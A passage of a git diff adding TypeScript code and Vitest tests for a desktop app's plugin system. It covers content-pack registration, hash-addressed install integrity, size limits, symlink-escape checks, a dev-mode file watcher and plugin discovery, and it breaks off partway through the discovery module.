+import { verifyInstructionalPluginContent } from './plugin-instructional-content-integrity'
+import type { KeybindingOverrides } from '../../shared/keybindings'
+
+export class PluginContentPackRegistry {
+  readonly languagePacks: PluginLanguagePackRegistry
+  readonly vmRecipes: PluginVmRecipeRegistry
+  readonly commands: PluginCommandRegistry
+  private readonly activationErrors = new Map<string, string>()
+
+  constructor(contentVerifier: PluginContentVerifier) {
+    this.languagePacks = new PluginLanguagePackRegistry(contentVerifier)
+    this.vmRecipes = new PluginVmRecipeRegistry()
+    this.commands = new PluginCommandRegistry()
+  }
+
+  async reconcile(
+    discovered: readonly DiscoveredPlugin[],
+    isApproved: (plugin: ValidDiscoveredPlugin) => boolean,
+    keybindings: KeybindingOverrides = {}
+  ): Promise<void> {
+    const approvedKeys = new Set(
+      discovered
+        .filter((plugin): plugin is ValidDiscoveredPlugin => !isInvalidDiscoveredPlugin(plugin))
+        .filter(isApproved)
+        .map((plugin) => plugin.pluginKey)
+    )
+    const excluded = new Set<string>()
+    this.activationErrors.clear()
+
+    await Promise.all(
+      discovered.map(async (plugin) => {
+        if (
+          isInvalidDiscoveredPlugin(plugin) ||
+          !approvedKeys.has(plugin.pluginKey) ||
+          plugin.manifest.contributes.vmRecipes.length > 0
+        ) {
+          return
+        }
+        try {
+          await verifyInstructionalPluginContent(plugin)
+        } catch (error) {
+          excluded.add(plugin.pluginKey)
+          this.activationErrors.set(
+            plugin.pluginKey,
+            error instanceof Error ? error.message : String(error)
+          )
+        }
+      })
+    )
+
+    while (true) {
+      const approveAtomically = (plugin: ValidDiscoveredPlugin): boolean =>
+        approvedKeys.has(plugin.pluginKey) && !excluded.has(plugin.pluginKey)
+      await Promise.all([
+        this.languagePacks.reconcile(discovered, approveAtomically),
+        this.vmRecipes.reconcile(discovered, approveAtomically),
+        this.commands.reconcile(discovered, approveAtomically, keybindings)
+      ])
+
+      let foundNewError = false
+      for (const pluginKey of approvedKeys) {
+        const error = this.registryError(pluginKey)
+        if (error && !excluded.has(pluginKey)) {
+          excluded.add(pluginKey)
+          this.activationErrors.set(pluginKey, error)
+          foundNewError = true
+        }
+      }
+      if (!foundNewError) {
+        break
+      }
+    }
+  }
+
+  error(pluginKey: string): string | null {
+    return this.activationErrors.get(pluginKey) ?? this.registryError(pluginKey)
+  }
+
+  private registryError(pluginKey: string): string | null {
+    return (
+      this.languagePacks.error(pluginKey) ??
+      this.vmRecipes.error(pluginKey) ??
+      this.commands.error(pluginKey)
+    )
+  }
+}
diff --git a/src/main/plugins/plugin-content-safety.test.ts b/src/main/plugins/plugin-content-safety.test.ts
new file mode 100644
index 000000000..eedeb42ef
--- /dev/null
+++ b/src/main/plugins/plugin-content-safety.test.ts
@@ -0,0 +1,305 @@
+import { mkdtemp, mkdir, rm, symlink, truncate, writeFile } from 'node:fs/promises'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import { fingerprintPluginConsent } from '../../shared/plugins/plugin-consent-fingerprint'
+import { pluginManifestSchema, type PluginManifest } from '../../shared/plugins/plugin-manifest'
+import {
+  PLUGIN_PANEL_ENTRY_MAX_BYTES,
+  validateDeclaredPluginArtifacts,
+  validatePluginInstallContent
+} from './plugin-artifact-validation'
+import { hashPluginTree } from './plugin-content-hash'
+import { verifyHashAddressedPluginContent } from './plugin-content-integrity'
+import { PluginService } from './plugin-service'
+
+const roots: string[] = []
+
+async function tempRoot(): Promise<string> {
+  const root = await mkdtemp(join(tmpdir(), 'orca-plugin-content-test-'))
+  roots.push(root)
+  return root
+}
+
+type ManifestOverrides = Omit<Partial<PluginManifest>, 'contributes'> & {
+  contributes?: Partial<PluginManifest['contributes']>
+}
+
+function manifest(overrides: ManifestOverrides = {}): PluginManifest {
+  const { contributes, ...manifestOverrides } = overrides
+  return pluginManifestSchema.parse({
+    manifestVersion: 1,
+    id: 'demo',
+    publisher: 'orca-samples',
+    name: 'Demo',
+    version: '1.0.0',
+    engines: { orca: '>=1.0.0' },
+    pluginApi: 1,
+    capabilities: [],
+    ...manifestOverrides,
+    contributes
+  })
+}
+
+afterEach(async () => {
+  vi.restoreAllMocks()
+  await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
+})
+
+describe('declared plugin artifacts', () => {
+  it('validates every content-pack file and directory before enablement', async () => {
+    const root = await tempRoot()
+    await Promise.all([
+      mkdir(join(root, 'locales')),
+      mkdir(join(root, 'recipes')),
+      writeFile(join(root, 'agent.json'), '{}')
+    ])
+    await Promise.all([
+      writeFile(join(root, 'locales', 'pt-BR.json'), '{}'),
+      writeFile(join(root, 'recipes', 'vm.json'), '{}')
+    ])
+    const pluginManifest = manifest({
+      contributes: {
+        languagePacks: [{ locale: 'pt-BR', path: 'locales/pt-BR.json' }],
+        vmRecipes: [{ path: 'recipes/vm.json' }],
+        agents: [{ path: 'agent.json' }]
+      }
+    })
+
+    await expect(validateDeclaredPluginArtifacts(root, pluginManifest)).resolves.toEqual({
+      ok: true
+    })
+  })
+
+  it('requires declared files to exist and be regular files', async () => {
+    const root = await tempRoot()
+    await mkdir(join(root, 'panel.html'))
+
+    const result = await validateDeclaredPluginArtifacts(
+      root,
+      manifest({
+        main: 'missing-worker.js',
+        contributes: {
+          panels: [{ id: 'panel', title: 'Panel', entry: 'panel.html' }],
+          commands: [],
+          events: []
+        }
+      })
+    )
+
+    expect(result).toMatchObject({ ok: false })
+  })
+
+  it('refuses a panel reached through an escaping directory link or junction', async () => {
+    const root = await tempRoot()
+    const outsideDir = await tempRoot()
+    const userDataPath = await tempRoot()
+    await writeFile(join(outsideDir, 'panel.html'), '<h1>outside</h1>')
+    await symlink(
+      outsideDir,
+      join(root, 'escape'),
+      process.platform === 'win32' ? 'junction' : 'dir'
+    )
+    const pluginManifest = manifest({
+      contributes: {
+        panels: [{ id: 'panel', title: 'Panel', entry: 'escape/panel.html' }],
+        commands: [],
+        events: []
+      }
+    })
+    await writeFile(join(root, 'orca-plugin.json'), JSON.stringify(pluginManifest))
+
+    await expect(validateDeclaredPluginArtifacts(root, pluginManifest)).resolves.toMatchObject({
+      ok: false
+    })
+
+    const pluginKey = `${pluginManifest.publisher}.${pluginManifest.id}`
+    const service = new PluginService({
+      userDataPath,
+      hostVersion: '1.4.0',
+      isPluginSystemEnabled: () => true,
+      getDisabledPlugins: () => [],
+      getPluginConsents: () => ({
+        [pluginKey]: fingerprintPluginConsent(pluginManifest)
+      }),
+      getDevPluginPaths: () => [root]
+    })
+    try {
+      await service.initialize()
+      await expect(service.panels.readEntry(pluginKey, 'panel')).resolves.toBeNull()
+    } finally {
+      await service.dispose()
+    }
+  })
+
+  it('rejects a panel artifact too large to mount safely in a renderer', async () => {
+    const root = await tempRoot()
+    const panelPath = join(root, 'panel.html')
+    await writeFile(panelPath, '')
+    await truncate(panelPath, PLUGIN_PANEL_ENTRY_MAX_BYTES + 1)
+    const pluginManifest = manifest({
+      contributes: {
+        panels: [{ id: 'panel', title: 'Panel', entry: 'panel.html' }],
+        commands: [],
+        events: []
+      }
+    })
+
+    await expect(validateDeclaredPluginArtifacts(root, pluginManifest)).resolves.toMatchObject({
+      ok: false,
+      error: expect.stringContaining('artifact limit')
+    })
+  })
+
+  it('parses VM recipes at the immutable install boundary', async () => {
+    const root = await tempRoot()
+    await mkdir(join(root, 'recipes'))
+    await writeFile(
+      join(root, 'recipes', 'invalid.json'),
+      JSON.stringify({
+        schemaVersion: 1,
+        id: 'cloud',
+        name: 'Cloud',
+        create: 'create',
+        suspend: 'suspend'
+      })
+    )
+    const pluginManifest = manifest({
+      contributes: { vmRecipes: [{ path: 'recipes/invalid.json' }] }
+    })
+
+    await expect(validateDeclaredPluginArtifacts(root, pluginManifest)).resolves.toEqual({
+      ok: true
+    })
+    await expect(validatePluginInstallContent(root, pluginManifest)).resolves.toMatchObject({
+      ok: false,
+      error: expect.stringContaining('suspend and resume')
+    })
+  })
+
+  it('rejects duplicate VM recipe ids at the immutable install boundary', async () => {
+    const root = await tempRoot()
+    await mkdir(join(root, 'recipes'))
+    const recipe = JSON.stringify({
+      schemaVersion: 1,
+      id: 'cloud',
+      name: 'Cloud',
+      create: 'create'
+    })
+    await Promise.all([
+      writeFile(join(root, 'recipes', 'one.json'), recipe),
+      writeFile(join(root, 'recipes', 'two.json'), recipe)
+    ])
+    const pluginManifest = manifest({
+      contributes: {
+        vmRecipes: [{ path: 'recipes/one.json' }, { path: 'recipes/two.json' }]
+      }
+    })
+
+    await expect(validatePluginInstallContent(root, pluginManifest)).resolves.toMatchObject({
+      ok: false,
+      error: expect.stringContaining('duplicate VM recipe id "cloud"')
+    })
+  })
+})
+
+describe('hash-addressed plugin content', () => {
+  it('uses unambiguous framing for paths and file contents', async () => {
+    const first = await tempRoot()
+    const second = await tempRoot()
+    await writeFile(join(first, 'a'), Buffer.from('x\0b\0y'))
+    await Promise.all([writeFile(join(second, 'a'), 'x'), writeFile(join(second, 'b'), 'y')])
+
+    const [firstHash, secondHash] = await Promise.all([
+      hashPluginTree(first),
+      hashPluginTree(second)
+    ])
+
+    expect(firstHash).toMatchObject({ ok: true })
+    expect(secondHash).toMatchObject({ ok: true })
+    if (firstHash.ok && secondHash.ok) {
+      expect(firstHash.hash).not.toBe(secondHash.hash)
+    }
+  })
+
+  it('hashes and bounds nested .git directories as plugin content', async () => {
+    const root = await tempRoot()
+    const nestedGit = join(root, 'vendor', '.git')
+    await mkdir(nestedGit, { recursive: true })
+    const entry = join(nestedGit, 'main.mjs')
+    await writeFile(entry, 'export default function activate() {}')
+    const initial = await hashPluginTree(root)
+    await writeFile(entry, 'export default function activate() { throw new Error("changed") }')
+    const changed = await hashPluginTree(root)
+
+    expect(initial).toMatchObject({ ok: true })
+    expect(changed).toMatchObject({ ok: true })
+    if (initial.ok && changed.ok) {
+      expect(changed.hash).not.toBe(initial.hash)
+    }
+
+    await truncate(entry, 50 * 1024 * 1024 + 1)
+    await expect(hashPluginTree(root)).resolves.toMatchObject({
+      ok: false,
+      error: expect.stringContaining('byte limit')
+    })
+  })
+
+  it('does not let host locale collation change a content address', async () => {
+    const root = await tempRoot()
+    await writeFile(join(root, 'alpha.txt'), 'a')
+    await writeFile(join(root, 'zulu.txt'), 'z')
+    const expected = await hashPluginTree(root)
+    vi.spyOn(String.prototype, 'localeCompare').mockImplementation(() => -1)
+
+    const withDifferentCollation = await hashPluginTree(root)
+
+    expect(withDifferentCollation).toEqual(expected)
+  })
+
+  it.skipIf(process.platform === 'win32')(
+    'rejects Windows-reserved tree entries cross-platform',
+    async () => {
+      const root = await tempRoot()
+      await writeFile(join(root, 'CON.txt'), 'reserved')
+
+      await expect(hashPluginTree(root)).resolves.toMatchObject({ ok: false })
+    }
+  )
+
+  it('detects content changed after its address was computed', async () => {
+    const root = await tempRoot()
+    const entry = join(root, 'panel.html')
+    await writeFile(entry, '<h1>original</h1>')
+    const initial = await hashPluginTree(root)
+    expect(initial.ok).toBe(true)
+    if (!initial.ok) {
+      return
+    }
+    expect(initial.hash).toMatch(/^[0-9a-f]{64}$/)
+    await expect(
+      verifyHashAddressedPluginContent({
+        rootDir: root,
+        contentHash: initial.hash.slice(0, 32)
+      })
+    ).resolves.toEqual({ ok: true })
+
+    await writeFile(entry, '<h1>tampered</h1>')
+
+    await expect(
+      verifyHashAddressedPluginContent({ rootDir: root, contentHash: initial.hash })
+    ).resolves.toMatchObject({ ok: false })
+  })
+
+  it('rejects an oversized sparse file before reading it into memory', async () => {
+    const root = await tempRoot()
+    const oversized = join(root, 'oversized.bin')
+    await writeFile(oversized, '')
+    await truncate(oversized, 50 * 1024 * 1024 + 1)
+
+    await expect(hashPluginTree(root)).resolves.toMatchObject({
+      ok: false,
+      error: expect.stringContaining('byte limit')
+    })
+  })
+})
diff --git a/src/main/plugins/plugin-current-pointer.ts b/src/main/plugins/plugin-current-pointer.ts
new file mode 100644
index 000000000..c299bed98
--- /dev/null
+++ b/src/main/plugins/plugin-current-pointer.ts
@@ -0,0 +1,49 @@
+import { createReadStream } from 'node:fs'
+import { rm } from 'node:fs/promises'
+import { join } from 'node:path'
+import { writePluginFileAtomically } from './plugin-atomic-file-write'
+
+export const PLUGIN_CURRENT_POINTER_FILENAME = 'current'
+export const PLUGIN_CURRENT_POINTER_MAX_BYTES = 128
+
+/** Reads the tiny hash pointer through a cap so discovery cannot allocate a
+ * corrupt sparse file during startup. Missing pointers resolve to null. */
+export async function readPluginCurrentPointer(pluginDir: string): Promise<string | null> {
+  const target = join(pluginDir, PLUGIN_CURRENT_POINTER_FILENAME)
+  const chunks: Buffer[] = []
+  let totalBytes = 0
+  try {
+    for await (const chunk of createReadStream(target)) {
+      const bytes = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk)
+      totalBytes += bytes.byteLength
+      if (totalBytes > PLUGIN_CURRENT_POINTER_MAX_BYTES) {
+        throw new Error('current-version pointer exceeds its size limit')
+      }
+      chunks.push(bytes)
+    }
+  } catch (error) {
+    if ((error as NodeJS.ErrnoException).code === 'ENOENT') {
+      return null
+    }
+    throw error
+  }
+  return Buffer.concat(chunks, totalBytes).toString('utf8').trim()
+}
+
+export async function writePluginCurrentPointer(
+  pluginDir: string,
+  contentHash: string
+): Promise<void> {
+  await writePluginFileAtomically(join(pluginDir, PLUGIN_CURRENT_POINTER_FILENAME), contentHash)
+}
+
+export async function restorePluginCurrentPointer(
+  pluginDir: string,
+  previousContentHash: string | null
+): Promise<void> {
+  if (previousContentHash === null) {
+    await rm(join(pluginDir, PLUGIN_CURRENT_POINTER_FILENAME), { force: true })
+    return
+  }
+  await writePluginCurrentPointer(pluginDir, previousContentHash)
+}
diff --git a/src/main/plugins/plugin-dev-watcher.test.ts b/src/main/plugins/plugin-dev-watcher.test.ts
new file mode 100644
index 000000000..77996fe3b
--- /dev/null
+++ b/src/main/plugins/plugin-dev-watcher.test.ts
@@ -0,0 +1,64 @@
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import { PluginDevWatcher } from './plugin-dev-watcher'
+
+afterEach(() => {
+  vi.useRealTimers()
+})
+
+describe('PluginDevWatcher', () => {
+  it('contains asynchronous watcher errors and requests a retrying refresh', async () => {
+    vi.useFakeTimers()
+    let onEvent!: (error: Error | null) => void
+    const unsubscribe = vi.fn().mockResolvedValue(undefined)
+    const subscribePath = vi.fn(async (_path, callback: typeof onEvent) => {
+      onEvent = callback
+      return { unsubscribe }
+    })
+    const devWatcher = new PluginDevWatcher(subscribePath)
+    const refresh = vi.fn()
+    const onWatcherError = vi.fn()
+    devWatcher.start(['/plugins/demo'], refresh, onWatcherError)
+    await vi.waitFor(() => expect(subscribePath).toHaveBeenCalledOnce())
+
+    expect(() => onEvent(new Error('watch failed'))).not.toThrow()
+    await vi.waitFor(() => expect(unsubscribe).toHaveBeenCalledOnce())
+    expect(onWatcherError).toHaveBeenCalledOnce()
+    vi.advanceTimersByTime(300)
+    expect(refresh).toHaveBeenCalledOnce()
+
+    devWatcher.dispose()
+  })
+
+  it('unsubscribes a subscription that resolves after disposal', async () => {
+    let resolveSubscription!: (value: { unsubscribe: () => Promise<void> }) => void
+    const unsubscribe = vi.fn().mockResolvedValue(undefined)
+    const subscribePath = vi.fn(
+      () =>
+        new Promise<{ unsubscribe: () => Promise<void> }>((resolve) => {
+          resolveSubscription = resolve
+        })
+    )
+    const devWatcher = new PluginDevWatcher(subscribePath)
+
+    devWatcher.start(['/plugins/demo'], vi.fn())
+    devWatcher.dispose()
+    resolveSubscription({ unsubscribe })
+
+    await vi.waitFor(() => expect(unsubscribe).toHaveBeenCalledOnce())
+  })
+
+  it('does not spin refreshes when a missing path cannot be subscribed', async () => {
+    vi.useFakeTimers()
+    const subscribePath = vi.fn().mockRejectedValue(new Error('missing path'))
+    const refresh = vi.fn()
+    const onWatcherError = vi.fn()
+    const devWatcher = new PluginDevWatcher(subscribePath)
+
+    devWatcher.start(['/plugins/missing'], refresh, onWatcherError)
+    await vi.waitFor(() => expect(onWatcherError).toHaveBeenCalledOnce())
+    vi.advanceTimersByTime(10_000)
+
+    expect(refresh).not.toHaveBeenCalled()
+    devWatcher.dispose()
+  })
+})
diff --git a/src/main/plugins/plugin-dev-watcher.ts b/src/main/plugins/plugin-dev-watcher.ts
new file mode 100644
index 000000000..ea77def41
--- /dev/null
+++ b/src/main/plugins/plugin-dev-watcher.ts
@@ -0,0 +1,108 @@
+import {
+  subscribeViaWatcherProcess,
+  type WatcherProcessSubscription
+} from '../ipc/parcel-watcher-process'
+
+type SubscribePluginPath = (
+  path: string,
+  onEvent: (error: Error | null) => void,
+  onInterruption: () => void
+) => Promise<WatcherProcessSubscription>
+
+const subscribePluginPath: SubscribePluginPath = (path, onEvent, onInterruption) =>
+  subscribeViaWatcherProcess(
+    path,
+    (error) => onEvent(error),
+    {},
+    {
+      onInterruption,
+      onTerminalError: onEvent
+    }
+  )
+
+/** Owns debounced manifest/panel refresh watchers for mutable dev plugins. */
+export class PluginDevWatcher {
+  private readonly subscriptions: WatcherProcessSubscription[] = []
+  private refreshTimer: ReturnType<typeof setTimeout> | null = null
+  private generation = 0
+
+  constructor(private readonly subscribePath: SubscribePluginPath = subscribePluginPath) {}
+
+  start(devPaths: readonly string[], refresh: () => void, onWatcherError?: () => void): void {
+    const generation = ++this.generation
+    for (const devPath of devPaths) {
+      let subscription: WatcherProcessSubscription | null = null
+      let failedBeforeReady = false
+      const fail = (): void => {
+        if (generation !== this.generation) {
+          return
+        }
+        failedBeforeReady = true
+        if (subscription) {
+          this.removeSubscription(subscription)
+          void subscription.unsubscribe()
+        }
+        onWatcherError?.()
+        this.scheduleRefresh(refresh)
+      }
+      void this.subscribePath(
+        devPath,
+        (error) => {
+          if (error) {
+            fail()
+          } else if (generation === this.generation) {
+            this.scheduleRefresh(refresh)
+          }
+        },
+        () => {
+          if (generation === this.generation) {
+            // The watcher process recovered, but changes during the gap were
+            // lost, so refresh the complete plugin projection once.
+            this.scheduleRefresh(refresh)
+          }
+        }
+      )
+        .then((created) => {
+          subscription = created
+          if (generation !== this.generation || failedBeforeReady) {
+            void created.unsubscribe()
+            return
+          }
+          this.subscriptions.push(created)
+        })
+        .catch(() => {
+          if (generation === this.generation) {
+            onWatcherError?.()
+          }
+        })
+    }
+  }
+
+  dispose(): void {
+    this.generation += 1
+    if (this.refreshTimer) {
+      clearTimeout(this.refreshTimer)
+      this.refreshTimer = null
+    }
+    for (const subscription of this.subscriptions.splice(0)) {
+      void subscription.unsubscribe()
+    }
+  }
+
+  private removeSubscription(subscription: WatcherProcessSubscription): void {
+    const index = this.subscriptions.indexOf(subscription)
+    if (index >= 0) {
+      this.subscriptions.splice(index, 1)
+    }
+  }
+
+  private scheduleRefresh(refresh: () => void): void {
+    if (this.refreshTimer) {
+      clearTimeout(this.refreshTimer)
+    }
+    this.refreshTimer = setTimeout(() => {
+      this.refreshTimer = null
+      refresh()
+    }, 300)
+  }
+}
diff --git a/src/main/plugins/plugin-discovery.test.ts b/src/main/plugins/plugin-discovery.test.ts
new file mode 100644
index 000000000..685a622e9
--- /dev/null
+++ b/src/main/plugins/plugin-discovery.test.ts
@@ -0,0 +1,129 @@
+import { mkdir, mkdtemp, rm, truncate, writeFile } from 'node:fs/promises'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { afterEach, describe, expect, it } from 'vitest'
+import { discoverPlugins, isInvalidDiscoveredPlugin } from './plugin-discovery'
+import { PLUGIN_CURRENT_POINTER_MAX_BYTES } from './plugin-current-pointer'
+
+const roots: string[] = []
+
+afterEach(async () => {
+  await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
+})
+
+async function tempPluginsDir(): Promise<string> {
+  const root = await mkdtemp(join(tmpdir(), 'orca-plugin-discovery-'))
+  roots.push(root)
+  return root
+}
+
+describe('installed plugin discovery identity', () => {
+  it('keeps the install directory identity when a manifest is invalid or mismatched', async () => {
+    const pluginsDir = await tempPluginsDir()
+    const installedKey = 'orca-samples.expected'
+    const hash = 'a'.repeat(64)
+    const versionDir = join(pluginsDir, installedKey, hash)
+    await mkdir(versionDir, { recursive: true })
+    await writeFile(join(pluginsDir, installedKey, 'current'), hash)
+    await writeFile(
+      join(versionDir, 'orca-plugin.json'),
+      JSON.stringify({
+        manifestVersion: 1,
+        id: 'different',
+        publisher: 'orca-samples',
+        name: 'Different',
+        version: '1.0.0',
+        engines: { orca: '>=1.0.0' },
+        pluginApi: 1,
+        contributes: { panels: [], commands: [], events: [] },
+        capabilities: []
+      })
+    )
+
+    const [plugin] = await discoverPlugins({ pluginsDir, devPluginPaths: [], hostVersion: '1.4.0' })
+
+    expect(plugin && isInvalidDiscoveredPlugin(plugin)).toBe(true)
+    expect(plugin?.pluginKey).toBe(installedKey)
+    expect(plugin && 'error' in plugin ? plugin.error : '').toContain('does not match')
+  })
+
+  it('keeps a removable qualified identity when the current pointer is missing', async () => {
+    const pluginsDir = await tempPluginsDir()
+    const installedKey = 'orca-samples.broken'
+    await mkdir(join(pluginsDir, installedKey), { recursive: true })
+
+    const [plugin] = await discoverPlugins({ pluginsDir, devPluginPaths: [], hostVersion: '1.4.0' })
+
+    expect(plugin && isInvalidDiscoveredPlugin(plugin)).toBe(true)
+    expect(plugin?.pluginKey).toBe(installedKey)
+  })
+
+  it('rejects an oversized current pointer without an unbounded startup read', async () => {
+    const pluginsDir = await tempPluginsDir()
+    const installedKey = 'orca-samples.broken'
+    const pluginDir = join(pluginsDir, installedKey)
+    await mkdir(pluginDir, { recursive: true })
+    const pointer = join(pluginDir, 'current')
+    await writeFile(pointer, '')
+    await truncate(pointer, PLUGIN_CURRENT_POINTER_MAX_BYTES + 1)
+
+    const [plugin] = await discoverPlugins({ pluginsDir, devPluginPaths: [], hostVersion: '1.4.0' })
+
+    expect(plugin && isInvalidDiscoveredPlugin(plugin)).toBe(true)
+    expect(plugin?.pluginKey).toBe(installedKey)
+  })
+})
+
+describe('instructional plugin discovery identity', () => {
+  it('changes dev consent when a VM recipe command changes', async () => {
+    const pluginsDir = await tempPluginsDir()
+    const devRoot = await tempPluginsDir()
+    await mkdir(join(devRoot, 'recipes'))
+    await writeFile(
+      join(devRoot, 'orca-plugin.json'),
+      JSON.stringify({
+        manifestVersion: 1,
+        id: 'recipes',
+        publisher: 'orca-samples',
+        name: 'Recipes',
+        version: '1.0.0',
+        engines: { orca: '>=1.0.0' },
+        pluginApi: 1,
+        contributes: { vmRecipes: [{ path: 'recipes/cloud.json' }] },
+        capabilities: []
+      })
+    )
+    const recipePath = join(devRoot, 'recipes', 'cloud.json')
+    await writeFile(
+      recipePath,
+      JSON.stringify({ schemaVersion: 1, id: 'cloud', name: 'Cloud', create: 'create-v1' })
+    )
+    const [first] = await discoverPlugins({
+      pluginsDir,
+      devPluginPaths: [devRoot],
+      hostVersion: '1.4.0'
+    })
+    await writeFile(
+      recipePath,
+      JSON.stringify({ schemaVersion: 1, id: 'cloud', name: 'Cloud', create: 'create-v2' })
+    )
+    const [second] = await discoverPlugins({
+      pluginsDir,
+      devPluginPaths: [devRoot],
+      hostVersion: '1.4.0'
+    })
+
+    expect(first && !isInvalidDiscoveredPlugin(first)).toBe(true)
+    expect(second && !isInvalidDiscoveredPlugin(second)).toBe(true)
+    if (
+      !first ||
+      !second ||
+      isInvalidDiscoveredPlugin(first) ||
+      isInvalidDiscoveredPlugin(second)
+    ) {
+      return
+    }
+    expect(second.consentContentHash).not.toBe(first.consentContentHash)
+    expect(second.consentFingerprint).not.toBe(first.consentFingerprint)
+  })
+})
diff --git a/src/main/plugins/plugin-discovery.ts b/src/main/plugins/plugin-discovery.ts
new file mode 100644
index 000000000..bffd31ef5
--- /dev/null
+++ b/src/main/plugins/plugin-discovery.ts
@@ -0,0 +1,254 @@
+import { readdir } from 'node:fs/promises'
+import type { Dirent } from 'node:fs'
+import { join } from 'node:path'
+import { PLUGIN_CONTENT_HASH_PATTERN } from '../../shared/plugins/plugin-install-lockfile'
+import {
+  PLUGIN_MANIFEST_FILENAME,
+  isQualifiedPluginKey,
+  parsePluginManifest,
+  qualifiedPluginKey,
+  satisfiesOrcaEngineRange,
+  type PluginManifest
+} from '../../shared/plugins/plugin-manifest'
+import {
+  fingerprintPluginConsent,
+  hasInstructionalPluginContributions
+} from '../../shared/plugins/plugin-consent-fingerprint'
+import { validateDeclaredPluginArtifacts } from './plugin-artifact-validation'
+import { readPluginManifestText } from './plugin-manifest-file'
+import { readPluginCurrentPointer } from './plugin-current-pointer'
+import { hashPluginTree } from './plugin-content-hash'
+
+export { PLUGIN_CURRENT_POINTER_FILENAME } from './plugin-current-pointer'
+
+const INSTALLED_PLUGIN_DISCOVERY_CONCURRENCY = 8
+
+/**
+ * Discovery over the hash-addressed install layout:
+ *
+ *   <userData>/plugins/<publisher>.<id>/current   ← text file naming the hash
+ *   <userData>/plugins/<publisher>.<id>/<hash>/   ← immutable install tree
+ *
+ * plus dev-mode plugins loaded straight from arbitrary local directories.
+ * Discovery reads manifests and checks only their declared artifact paths —
+ * never plugin bytes or whole trees. Full content hashing stays lazy so
+ * startup cost is bounded by installed plugins plus declared entries.
+ */
+
+export type ValidDiscoveredPlugin = {
+  /** Qualified `<publisher>.<id>` key. */
+  pluginKey: string
+  rootDir: string
+  manifest: PluginManifest
+  /** Fingerprint of the capabilities and trusted-worker execution tier. */
+  consentFingerprint: string
+  /** Immutable tree identity included in consent for instructional packs. */
+  consentContentHash?: string | null
+  /** Content hash the install dir is named by; null for dev plugins. */
+  contentHash: string | null
+  isDev: boolean
+}
+
+export type InvalidDiscoveredPlugin = {
+  pluginKey?: string
+  rootDir: string
+  error: string
+  isDev: boolean
+}
+
+export type DiscoveredPlugin = ValidDiscoveredPlugin | InvalidDiscoveredPlugin
+
+export function isInvalidDiscoveredPlugin(
+  plugin: DiscoveredPlugin
+): plugin is InvalidDiscoveredPlugin {
+  return 'error' in plugin
+}
+
+export function getUserPluginsDir(userDataPath: string): string {
+  return join(userDataPath, 'plugins')
+}
+
+export function getPluginsDataDir(userDataPath: string): string {
+  return join(userDataPath, 'plugins-data')
+}
+
+async function readManifestDir(
+  rootDir: string,
+  hostVersion: string,
+  isDev: boolean,
+  installedContentHash?: string
+): Promise<DiscoveredPlugin> {
+  let rawText: string
+  try {
+    rawText = await readPluginManifestText(rootDir)
+  } catch (error) {
+    return {
+      rootDir,
+      error:
+        error instanceof Error && error.message.includes('exceeds')
+          ? error.message
+          : `missing ${PLUGIN_MANIFEST_FILENAME}`,
+      isDev
+    }
+  }
+  let raw: unknown
+  try {
+    raw = JSON.parse(rawText)
+  } catch (error) {
+    return {
+      rootDir,
+      error: `invalid JSON in ${PLUGIN_MANIFEST_FILENAME}: ${error instanceof Error ? error.message : String(error)}`,
+      isDev
+    }
+  }
+  const parsed = parsePluginManifest(raw)
+  if (!parsed.ok) {
+    return { rootDir, error: `invalid manifest: ${parsed.error}`, isDev }
+  }
+  const manifest = parsed.manifest
+  const pluginKey = qualifiedPluginKey(manifest)
+  if (!satisfiesOrcaEngineRange(hostVersion, manifest.engines.orca)) {
+    return {
+      pluginKey,
+      rootDir,
+      error: `requires Orca ${manifest.engines.orca} (this is ${hostVersion})`,
+      isDev
+    }
+  }
+  const artifacts = await validateDeclaredPluginArtifacts(rootDir, manifest)
+  if (!artifacts.ok) {
+    return {
+      pluginKey,
+      rootDir,
+      error: `invalid declared artifact: ${artifacts.error}`,
+      isDev
+    }
+  }
+  let consentContentIdentity: string | undefined
+  if (installedContentHash && hasInstructionalPluginContributions(manifest)) {
+    consentContentIdentity = installedContentHash
+  }
+  if (isDev && hasInstructionalPluginContributions(manifest)) {
+    const treeHash = await hashPluginTree(rootDir)
+    if (!treeHash.ok) {
+      return { pluginKey, rootDir, error: treeHash.error, isDev }
+    }
+    consentContentIdentity = treeHash.hash
+  }
+  return {
+    pluginKey,
+    rootDir,
+    manifest,
+    consentFingerprint: fingerprintPluginConsent(manifest, consentContentIdentity),
+    consentContentHash: consentContentIdentity ?? null,
+    contentHash: null,
+    isDev
+  }
+}
+
+async function readInstalledPlugin(
+  pluginDir: string,
+  dirName: string,
+  hostVersion: string
+): Promise<DiscoveredPlugin> {
+  let contentHash: string
+  try {
+    contentHash = (await readPluginCurrentPointer(pluginDir)) ?? ''
+  } catch {
+    return {
+      pluginKey: dirName,
+      rootDir: pluginDir,
+      error: 'missing current-version pointer',
+      isDev: false
+    }
+  }
+  // The pointer names a sibling directory; refuse anything path-like so a
+  // corrupted pointer cannot address content outside the plugin dir.
+  if (!PLUGIN_CONTENT_HASH_PATTERN.test(contentHash)) {
+    return {
+      pluginKey: dirName,
+      rootDir: pluginDir,
+      error: 'corrupt current-version pointer',
+      isDev: false
+    }
+  }
+  const versionDir = join(pluginDir, contentHash)
+  const discovered = await readManifestDir(versionDir, hostVersion, false, contentHash)
+  if (isInvalidDiscoveredPlugin(discovered)) {
+    return { ...discovered, pluginKey: dirName }
+  }
+  // Why: the directory name is the install key (and the uninstall target); a
+  // mismatched manifest identity would let two dirs claim the same plugin.
+  if (discovered.pluginKey !== dirName) {
+    return {
+      pluginKey: dirName,
+      rootDir: versionDir,
+      error: `manifest identity "${discovered.pluginKey}" does not match install directory "${dirName}"`,
+      isDev: false
+    }
+  }
+  return { ...discovered, contentHash }
+}
+
+async function readInstalledPlugins(
+  pluginsDir: string,
+  entries: readonly Dirent[],
+  hostVersion: string
+): Promise<DiscoveredPlugin[]> {
+  const results = Array.from({ length: entries.length }) as DiscoveredPlugin[]
+  let nextIndex = 0
+  const readers = Array.from(
+    { length: Math.min(INSTALLED_PLUGIN_DISCOVERY_CONCURRENCY, entries.length) },
+    async () => {
+      while (nextIndex < entries.length) {
+        const index = nextIndex++
+        const entry = entries[index]!
